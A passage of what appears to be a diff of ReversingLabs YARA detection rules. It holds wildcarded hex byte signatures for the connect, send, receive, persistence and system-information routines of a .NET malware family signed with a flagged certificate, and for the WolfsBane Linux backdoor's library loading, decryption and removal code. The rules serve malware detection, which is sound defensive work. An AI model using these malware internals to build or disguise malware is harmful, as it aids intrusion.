2C ?? 16 0A DD ?? ?? ?? ?? 00 73 ?? ?? ?? ?? 13 ?? 02 8E B7 0D 12 ?? 28 ?? + ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 0C 11 ?? 08 16 08 + 8E B7 6F ?? ?? ?? ?? 00 11 ?? 02 16 02 8E B7 6F ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 6F ?? + ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 16 11 ?? 6F ?? ?? ?? ?? B7 16 6F ?? ?? ?? ?? 26 00 DE + ?? 11 ?? 28 ?? ?? ?? ?? 00 DC DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 11 ?? 28 ?? ?? ?? ?? + 00 11 ?? 13 ?? 00 7E ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 16 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? + 6F ?? ?? ?? ?? 00 00 DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 28 ?? ?? ?? ?? DE ?? 00 28 ?? + ?? ?? ?? DE ?? 00 7E ?? ?? ?? ?? 0A 2B ?? 06 + } + $receive_v1_p1 = { + 00 00 00 72 ?? ?? ?? ?? 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 14 (FE | 01) ?? 16 (FE | 01) ?? + 13 ?? 11 ?? 39 ?? ?? ?? ?? 15 6A 0A 16 0B 00 00 00 07 17 D6 0B 07 1F ?? (FE | 01) ?? + 13 ?? 11 ?? 2C ?? 16 0B 17 28 ?? ?? ?? ?? 00 00 7E ?? ?? ?? ?? 16 (FE | 01) ?? 13 ?? + 11 ?? 2C ?? 00 DD ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 17 (FE | 04) ?? 13 ?? + 11 ?? 2C ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 15 16 6F ?? ?? ?? ?? 26 00 00 00 7E ?? ?? + ?? ?? 6F ?? ?? ?? ?? 16 (FE | 02) ?? 13 ?? 11 ?? 39 ?? ?? ?? ?? 06 15 6A (FE | 01) ?? + 13 ?? 11 ?? 39 ?? ?? ?? ?? 72 ?? ?? ?? ?? 13 ?? 38 ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? + ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 00 11 ?? 15 59 13 ?? 11 ?? 45 ?? ?? ?? ?? ?? ?? ?? ?? + ?? ?? ?? ?? 2B ?? 00 00 DD ?? ?? ?? ?? 2B ?? 00 11 ?? 28 ?? ?? ?? ?? 0A 72 ?? ?? ?? + ?? 13 ?? 06 16 6A (FE | 01) ?? 13 ?? 11 ?? 2C ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 15 + 6A 0A 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 16 (FE | 02) ?? 16 (FE | 01) ?? 13 ?? 11 ?? 2C + ?? 38 ?? ?? ?? ?? 00 38 ?? ?? ?? ?? 00 11 ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? + ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 00 17 13 ?? 11 ?? 3A ?? + ?? ?? ?? 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 17 D6 17 DA 17 D6 8D ?? ?? ?? ?? 80 ?? ?? + ?? ?? 06 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? DA 0D 7E ?? ?? ?? ?? 8E B7 6A 09 (FE | 02) + } + $receive_v1_p2 = { + 13 ?? 11 ?? 2C ?? 09 17 6A DA B7 17 D6 17 DA 17 D6 8D ?? ?? ?? ?? 80 ?? ?? ?? ?? 00 + 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 16 7E ?? ?? ?? ?? 8E B7 16 6F ?? ?? ?? + ?? 0C 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 16 08 6F ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 6F ?? ?? + ?? ?? 06 (FE | 01) ?? 13 ?? 11 ?? 2C ?? 15 6A 0A 14 (FE | 06) ?? ?? ?? ?? ?? 73 ?? ?? + ?? ?? 17 73 ?? ?? ?? ?? 13 ?? 11 ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 + 11 ?? 1F ?? 6F ?? ?? ?? ?? 26 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 73 ?? ?? ?? ?? 80 ?? + ?? ?? ?? 00 38 ?? ?? ?? ?? 00 DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 28 ?? ?? ?? ?? DE ?? + 00 00 00 00 00 7E ?? ?? ?? ?? 14 (FE | 01) ?? 16 (FE | 01) ?? 13 ?? 11 ?? 2C ?? 7E ?? + ?? ?? ?? 28 ?? ?? ?? ?? 14 72 ?? ?? ?? ?? 16 8D ?? ?? ?? ?? 14 14 14 17 28 ?? ?? ?? + ?? 26 14 80 ?? ?? ?? ?? 00 DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 28 ?? ?? ?? ?? DE ?? 00 + 16 80 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 (FE | 01) ?? 13 ?? 11 ?? 2C ?? 2B ?? 00 17 80 ?? + ?? ?? ?? 38 ?? ?? ?? ?? 00 + } + $connect_v2 = { + 16 80 ?? ?? ?? ?? 20 D0 07 00 00 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 0A 06 25 13 ?? 28 ?? + ?? ?? ?? 7E ?? ?? ?? ?? 2C ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 14 80 ?? ?? ?? ?? DE ?? + 26 DE ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 26 DE ?? DE ?? 26 DE ?? 73 ?? ?? ?? ?? + 80 ?? ?? ?? ?? 73 ?? ?? ?? ?? 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 20 00 20 03 00 6F ?? ?? + ?? ?? 7E ?? ?? ?? ?? 20 00 20 03 00 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 20 + 10 27 00 00 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 20 10 27 00 00 6F ?? ?? ?? + ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 17 80 + ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 7E ?? ?? ?? ?? 0B 72 ?? ?? ?? ?? 72 ?? + ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 2C ?? 07 7F ?? ?? ?? ?? 28 + ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 2B ?? 07 0C 72 ?? ?? ?? ?? 72 ?? ?? ?? + ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0D 08 12 ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? + ?? ?? 0B 1B 8D ?? ?? ?? ?? 13 ?? 11 ?? 16 07 A2 11 ?? 17 7E ?? ?? ?? ?? A2 11 ?? 18 + 72 ?? ?? ?? ?? A2 11 ?? 19 7E ?? ?? ?? ?? A2 11 ?? 1A 72 ?? ?? ?? ?? A2 11 ?? 28 ?? + ?? ?? ?? 0B 07 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 07 7E + ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 07 72 ?? ?? ?? ?? 28 ?? + ?? ?? ?? 0B 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B + 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 12 ?? 28 ?? ?? ?? + ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 DE ?? 26 DE ?? DE ?? 26 16 80 ?? ?? ?? ?? DE ?? + DE ?? 11 ?? 28 ?? ?? ?? ?? DC 7E + } + $receive_v2 = { + 72 ?? ?? ?? ?? 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 39 ?? ?? ?? ?? 15 6A 0A 16 0B 07 17 D6 + 0B 07 1F ?? 33 ?? 16 0B 17 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 39 ?? ?? ?? ?? 7E ?? ?? ?? + ?? 6F ?? ?? ?? ?? 17 3C ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 15 16 6F ?? ?? ?? + ?? 26 38 ?? ?? ?? ?? 06 15 6A 3B ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 17 D6 8D + ?? ?? ?? ?? 80 ?? ?? ?? ?? 06 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? DA 0C 7E ?? ?? ?? ?? 8E + 69 6A 08 31 ?? 08 17 6A DA B7 17 D6 8D ?? ?? ?? ?? 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F + ?? ?? ?? ?? 7E ?? ?? ?? ?? 16 7E ?? ?? ?? ?? 8E 69 16 6F ?? ?? ?? ?? 0D 7E ?? ?? ?? + ?? 7E ?? ?? ?? ?? 16 09 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 40 ?? ?? ?? + ?? 15 6A 0A 7E ?? ?? ?? ?? 2D ?? 14 (FE | 06) ?? ?? ?? ?? ?? 73 ?? ?? ?? ?? 80 ?? ?? + ?? ?? 7E ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ?? 11 ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F + ?? ?? ?? ?? 11 ?? 1F ?? 6F ?? ?? ?? ?? 26 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 73 ?? ?? ?? + ?? 80 ?? ?? ?? ?? 38 ?? ?? ?? ?? 72 ?? ?? ?? ?? 13 ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? + 6F ?? ?? ?? ?? 13 ?? 11 ?? 15 2E ?? 11 ?? 2C ?? 11 ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 12 + ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 2B ?? 11 ?? 28 + ?? ?? ?? ?? 0A 06 16 6A 33 ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 15 6A 0A 7E ?? ?? ?? + ?? 6F ?? ?? ?? ?? 16 3E ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? DE + ?? 26 DE ?? 7E ?? ?? ?? ?? 2C ?? 7E ?? ?? ?? ?? 14 72 ?? ?? ?? ?? 16 8D ?? ?? ?? ?? + 14 14 14 17 28 ?? ?? ?? ?? 26 14 80 ?? ?? ?? ?? DE ?? 26 DE ?? 16 80 ?? ?? ?? ?? 28 + ?? ?? ?? ?? 2C ?? 17 80 + } + $get_system_information_v2_p1 = { + 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? + ?? ?? ?? 72 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 2C ?? 06 0B 7F ?? ?? ?? ?? 28 ?? ?? ?? ?? + 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 07 12 ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? + ?? 28 ?? ?? ?? ?? 0A 2B ?? 06 0D 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? + ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 + ?? 09 12 ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A DE ?? 26 06 13 ?? 28 ?? + ?? ?? ?? 13 ?? 11 ?? 12 ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A DE ?? 06 + 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A DE ?? 26 06 72 ?? ?? ?? ?? 7E ?? ?? + ?? ?? 28 ?? ?? ?? ?? 0A DE ?? 06 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A DE + ?? 26 06 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A DE ?? 06 7E ?? ?? ?? ?? 6F + ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 13 ?? 12 ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E + ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A DE ?? 26 06 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? + ?? 0A DE ?? 06 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 06 73 ?? ?? ?? ?? 28 + ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A DE ?? 26 06 72 ?? ?? ?? ?? 28 ?? ?? ?? + ?? 0A DE ?? 06 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? + ?? ?? ?? 15 16 28 ?? ?? ?? ?? 13 ?? 11 ?? 8E 69 17 33 ?? 06 72 ?? ?? ?? ?? 28 ?? ?? + ?? ?? 0A 06 11 ?? 11 ?? 8E 69 17 DA 9A 28 ?? ?? ?? ?? 0A DE ?? 26 06 72 + } + $get_system_information_v2_p2 = { + 28 ?? ?? ?? ?? 0A DE ?? 1F ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2C ?? 06 + 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 2B ?? 06 72 ?? ?? ?? ?? 7E ?? ?? ?? + ?? 28 ?? ?? ?? ?? 0A DE ?? 26 06 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A DE ?? 28 ?? ?? ?? + ?? 2C ?? 06 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 2B ?? 06 72 ?? ?? ?? ?? + 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 06 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A + 06 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 06 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? + 28 ?? ?? ?? ?? 0A 72 ?? ?? ?? ?? 13 ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? + 28 ?? ?? ?? ?? 16 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 11 ?? 11 ?? 9A + 13 ?? 11 ?? 6F ?? ?? ?? ?? 1F ?? 33 ?? 11 ?? 11 ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 + ?? 11 ?? 17 D6 13 ?? 11 ?? 11 ?? 8E 69 32 ?? DE ?? 26 DE ?? 06 11 ?? 28 + } + $send_v2 = { + 7E ?? ?? ?? ?? 2D ?? 16 2A 7E ?? ?? ?? ?? 0A 06 25 13 ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? + ?? 2D ?? 16 13 ?? DD ?? ?? ?? ?? 73 ?? ?? ?? ?? 0B 02 8E 69 13 ?? 12 ?? 28 ?? ?? ?? + ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 12 ?? 28 ?? ?? ?? ?? 0D 07 09 16 09 8E 69 6F ?? + ?? ?? ?? 07 02 16 02 8E 69 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 07 6F ?? ?? + ?? ?? 16 07 6F ?? ?? ?? ?? B7 16 6F ?? ?? ?? ?? 26 07 6F ?? ?? ?? ?? DE ?? 11 ?? 28 + ?? ?? ?? ?? DC DE ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 2C ?? 16 80 ?? ?? ?? + ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 26 DE ?? 28 ?? ?? ?? ?? DE ?? 7E ?? ?? ?? ?? + 2A 11 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "MEHANIKUM OOO" and ( pe.signatures [ i ] . serial == "00:f3:60:f7:ad:0e:d0:65:fe:c0:b4:4f:98:e0:44:81:a0" or pe.signatures [ i ] . serial == "f3:60:f7:ad:0e:d0:65:fe:c0:b4:4f:98:e0:44:81:a0" ) and 1599031121 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( ( ( all of ( $persistence_mechanism_v1_p* ) ) and ( all of ( $connect_v1_p* ) ) and ( $send_v1 ) and ( all of ( $receive_v1_p* ) ) ) or ( ( $connect_v2 ) and ( $receive_v2 ) and ( all of ( $get_system_information_v2_p* ) ) and ( $send_v2 ) ) ) } - -rule REVERSINGLABS_Cert_Blocklist_Fe41941464B9992A69B7317418Ae8Eb7 : INFO FILE +rule REVERSINGLABS_Linux_Backdoor_Wolfsbane : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects WolfsBane backdoor." author = "ReversingLabs" - id = "dd84a6b2-e616-5f93-af50-1a4fc15f3c45" - date = "2020-08-05" - modified = "2023-11-08" + id = "07b96e74-8ad1-5400-a23c-c14fea78ecdd" + date = "2025-03-17" + modified = "2025-03-17" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5444-L5462" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/Linux.Backdoor.WolfsBane.yara#L1-L124" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "bd5131f2b44deec6a7a68577b80ef4d066c331da2976539ce52ac6cff8d5560e" + logic_hash = "c2bc992375bfa989c2a18a52e09c551cd6dfefda8fb96e7af4dabfead76e784f" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Backdoor" + tc_detection_name = "WolfsBane" + tc_detection_factor = 5 importance = 25 + strings: + $load_embedded_library = { + 41 57 41 56 41 55 41 54 49 89 FC 55 53 48 89 F3 48 83 EC ?? 48 8B 05 ?? ?? ?? ?? 48 + C7 47 ?? ?? ?? ?? ?? C7 47 ?? ?? ?? ?? ?? 48 C7 47 ?? ?? ?? ?? ?? 48 C7 47 ?? ?? ?? + ?? ?? C7 47 ?? ?? ?? ?? ?? 48 83 C0 ?? 48 C7 47 ?? ?? ?? ?? ?? 48 89 07 48 8D 47 ?? + 48 89 47 ?? 48 89 47 ?? 48 8D 47 ?? 48 89 47 ?? 48 89 47 ?? 48 8B 06 48 39 46 ?? 0F + 84 ?? ?? ?? ?? 4C 8B 3D ?? ?? ?? ?? BF ?? ?? ?? ?? 49 89 E5 49 8D 47 ?? 48 89 44 24 + ?? E8 ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 48 89 58 ?? 48 8B 1D ?? ?? ?? ?? 48 C7 40 ?? + ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 48 89 44 24 ?? 48 83 C2 ?? 48 89 44 24 ?? 48 C7 44 + 24 ?? ?? ?? ?? ?? 48 89 10 48 8D 43 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? ?? + ?? ?? ?? 48 89 04 24 48 8D 43 ?? 48 89 44 24 ?? 48 89 E0 48 03 03 48 8B 50 ?? 48 39 + 50 ?? 0F 84 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 4C 8D 74 24 ?? 48 8D 54 24 ?? 4C 89 F7 + 48 8B 70 ?? 31 C0 80 3E ?? 0F 94 C0 48 01 C6 E8 ?? ?? ?? ?? 48 8B 04 24 4C 89 ED 48 + 03 68 ?? 48 8B 7D ?? 48 3B 7D ?? 0F 84 ?? ?? ?? ?? 48 85 FF 0F 84 ?? ?? ?? ?? 4C 89 + F6 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 83 C0 ?? 48 89 45 ?? 4C 89 F7 E8 ?? ?? ?? ?? 48 8D + 43 ?? 48 8B 7C 24 ?? 48 89 04 24 49 8D 47 ?? 48 85 FF 48 89 44 24 ?? 74 ?? 48 8B 07 + FF 50 ?? 48 8B 6C 24 ?? 48 8B 5C 24 ?? 48 39 DD 74 ?? 66 0F 1F 44 00 ?? 48 89 DF E8 + ?? ?? ?? ?? 48 83 C3 ?? 48 39 DD 75 ?? 48 8B 6C 24 ?? 48 85 ED 74 ?? 48 89 EF E8 ?? + ?? ?? ?? 48 83 C4 ?? 4C 89 E0 5B 5D 41 5C 41 5D 41 5E 41 5F C3 + } + $decrypt_embedded_library_1 = { + 41 57 41 56 41 55 41 54 55 48 89 F5 53 48 89 FB 48 81 EC ?? ?? ?? ?? 48 8B 77 ?? 48 + 8D 84 24 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 48 89 C7 48 89 44 24 ?? E8 ?? ?? ?? ?? + 48 8B 84 24 ?? ?? ?? ?? 48 83 78 ?? ?? 0F 84 ?? ?? ?? ?? 48 8B 45 ?? 48 39 45 ?? 0F + 84 ?? ?? ?? ?? 4C 8D A4 24 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 48 8D 35 ?? ?? ?? ?? + 4C 89 E7 E8 ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? 48 8B 74 24 ?? 4C 89 E2 48 89 C7 48 + 89 44 24 ?? E8 ?? ?? ?? ?? 4C 89 E7 E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 39 84 + 24 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 4C 8D BC + 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? + ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 83 C0 ?? 48 83 C2 ?? 48 89 84 24 ?? ?? ?? + ?? 48 89 84 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 4C 8B 23 48 89 94 24 ?? ?? ?? ?? + 4C 89 E7 E8 ?? ?? ?? ?? 49 8D 7F ?? 48 89 C2 4C 89 E6 E8 ?? ?? ?? ?? 4C 8B 63 ?? 4C + 89 E7 E8 ?? ?? ?? ?? 49 8D 7F ?? 48 89 C2 4C 89 E6 E8 ?? ?? ?? ?? 48 8B 5B ?? 48 89 + DF E8 ?? ?? ?? ?? 49 8D 7F ?? 48 89 C2 48 89 DE E8 ?? ?? ?? ?? 49 8D 7F ?? 48 89 EE + E8 ?? ?? ?? ?? 48 8D 9C 24 ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? 4C 89 FE 48 C7 84 24 + ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 DF 48 C7 84 24 ?? + ?? ?? ?? ?? ?? ?? ?? 48 89 44 24 ?? E8 ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? 48 89 DE + 48 89 C7 48 89 44 24 ?? E8 ?? ?? ?? ?? 48 8B BC 24 ?? ?? ?? ?? 48 85 FF 74 ?? E8 ?? + ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 48 8D 35 ?? ?? ?? ?? 48 89 + C7 48 89 44 24 ?? E8 ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? 48 89 C7 48 89 44 24 ?? E8 + } + $decrypt_embedded_library_2 = { + 48 8D 7C 24 ?? 49 89 F9 0F 1F 84 00 ?? ?? ?? ?? 89 CA 89 C8 83 C1 ?? C1 FA ?? F7 FB + 48 63 D2 0F B6 04 16 41 88 01 49 83 C1 ?? 81 F9 ?? ?? ?? ?? 75 ?? 48 8D B5 ?? ?? ?? + ?? 48 89 E8 31 D2 66 90 0F B6 18 44 0F B6 0F 48 83 C7 ?? 0F B6 CB 41 8D 0C 09 8D 14 + 11 41 89 D3 41 C1 FB ?? 41 C1 EB ?? 44 01 DA 81 E2 ?? ?? ?? ?? 44 29 DA 48 63 CA 83 + C2 ?? 44 0F B6 8C 0C ?? ?? ?? ?? 44 88 08 48 83 C0 ?? 88 9C 0C ?? ?? ?? ?? 48 39 F0 + 75 ?? 4D 29 C2 45 85 D2 0F 8E ?? ?? ?? ?? 41 83 EA ?? 31 C0 31 D2 4F 8D 54 10 ?? 66 + 0F 1F 84 00 ?? ?? 00 00 83 C2 ?? 89 D1 C1 F9 ?? C1 E9 ?? 01 CA 81 E2 ?? ?? ?? ?? 29 + CA 48 63 CA 83 C2 ?? 0F B6 BC 0C ?? ?? ?? ?? 40 0F B6 DF 8D 04 03 89 C6 C1 FE ?? C1 + EE ?? 01 F0 25 ?? ?? ?? ?? 29 F0 48 63 F0 83 C0 ?? 44 0F B6 8C 34 ?? ?? ?? ?? 44 88 + 8C 0C ?? ?? ?? ?? 40 88 BC 34 ?? ?? ?? ?? 02 9C 0C ?? ?? ?? ?? 0F B6 DB 0F B6 8C 1C + ?? ?? ?? ?? 41 30 08 49 83 C0 ?? 4D 39 D0 75 ?? B9 ?? ?? ?? ?? 31 C0 48 89 EF F3 48 + AB 48 8B BC 24 ?? ?? ?? ?? 48 85 FF 74 ?? E8 ?? ?? ?? ?? 48 8B B4 24 ?? ?? ?? ?? 48 + 8B 7C 24 ?? E8 ?? ?? ?? ?? 48 8B 7C 24 ?? E8 ?? ?? ?? ?? 48 8B BC 24 ?? ?? ?? ?? 48 + 8B 84 24 ?? ?? ?? ?? 48 29 F8 48 C1 F8 ?? 48 83 F8 ?? 74 ?? 48 8B BC 24 ?? ?? ?? ?? + 48 85 FF 74 ?? E8 ?? ?? ?? ?? 4C 89 FF E8 ?? ?? ?? ?? 48 8B 7C 24 ?? E8 ?? ?? ?? ?? + 48 8B 7C 24 ?? E8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5B 5D 41 5C 41 5D 41 5E 41 5F C3 + } + $remove_backdoor_p1 = { + 41 57 48 8D 35 ?? ?? ?? ?? 41 56 41 55 41 54 55 53 48 81 EC ?? ?? ?? ?? 48 8D AC 24 + ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 48 8D 9C 24 ?? ?? ?? ?? + 48 89 DF E8 ?? ?? ?? ?? 48 89 EE 48 89 DF E8 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 48 + 89 C6 48 89 D7 48 89 54 24 ?? E8 ?? ?? ?? ?? 48 8B B4 24 ?? ?? ?? ?? 48 89 DF E8 ?? + ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 4C 8B 35 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 + EF 49 8D 76 ?? E8 ?? ?? ?? ?? 48 8D 9C 24 ?? ?? ?? ?? 48 89 EE 48 89 DF E8 ?? ?? ?? + ?? 48 8D 84 24 ?? ?? ?? ?? 48 89 DE 48 89 C7 48 89 44 24 ?? E8 ?? ?? ?? ?? 48 89 DF + E8 ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 2B 84 24 ?? ?? ?? + ?? C7 44 24 ?? ?? ?? ?? ?? 48 83 F8 ?? 0F 84 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 49 + 8D 76 ?? 48 89 EF E8 ?? ?? ?? ?? 48 8D 9C 24 ?? ?? ?? ?? 48 89 EE 48 89 DF E8 ?? ?? + ?? ?? 4C 8D A4 24 ?? ?? ?? ?? 48 89 DE 4C 89 E7 E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 4C 89 + E6 E8 ?? ?? ?? ?? 48 8B BC 24 ?? ?? ?? ?? 48 85 FF 74 ?? E8 ?? ?? ?? ?? 48 89 DF E8 + ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 2B 84 24 + } + $remove_backdoor_p2 = { + 45 31 FF 48 83 F8 ?? 0F 84 ?? ?? ?? ?? 4C 8D A4 24 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? + ?? 48 8D 35 ?? ?? ?? ?? 4C 89 E7 E8 